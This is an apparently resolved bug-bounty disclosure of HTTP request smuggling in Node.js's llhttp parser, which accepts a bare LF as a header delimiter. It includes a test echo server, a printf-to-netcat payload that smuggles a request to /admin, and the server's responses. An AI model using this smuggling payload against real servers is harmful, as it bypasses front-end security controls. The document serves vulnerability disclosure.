HTTP Request Smuggling Due To Improper Delimiting of Header Fields
Medium
N
Node.js
Submitted None
Actions:
Reported by
zeyu2001
Vulnerability Details
Technical details and impact analysis
**Summary:**
The `llhttp` parser in the `http` module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).
**Description:**
The LF character (without CR) is sufficient to delimit HTTP header fields in the `lihttp` parser. According to [RFC7230 section 3](https://datatracker.ietf.org/doc/html/rfc7230#section-3), only the CRLF sequence should delimit each `header-field`.
Consider the following request (all lines are delimited by CRLF except the `[\n]` part)
```http
GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23
GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost
```
Suppose that an upstream server:
- Correctly delimits lines by the CRLF sequence instead of only LF
- Incorrectly allows the LF character in header values
This leads to HTTP request smuggling as the Node server sees one extra header field, `Content-Length: 23` while the upstream proxy thinks that the content length of the first request is 0.
Request as seen by the Node server:
```http
GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23
GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost
```
## Steps To Reproduce:
Server code I used for testing:
```javascript
const http = require('http');
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("error while reading body: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
response.on('error', (err) => {
response.end("error while sending response: " + err)
});
response.end(JSON.stringify({
"URL": request.url,
"Headers": request.headers,
"Length": body.length,
"Body": body,
}) + "\n");
});
}).listen(80);
```
Payload:
```bash
(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80
```
**Expected result:** Sees two requests, both to `/`.
**Actual result:** Sees one request to `/` and another to `/admin`.
```http
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124
{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69
{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}
```
## Impact
Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
HTTP Request Smuggling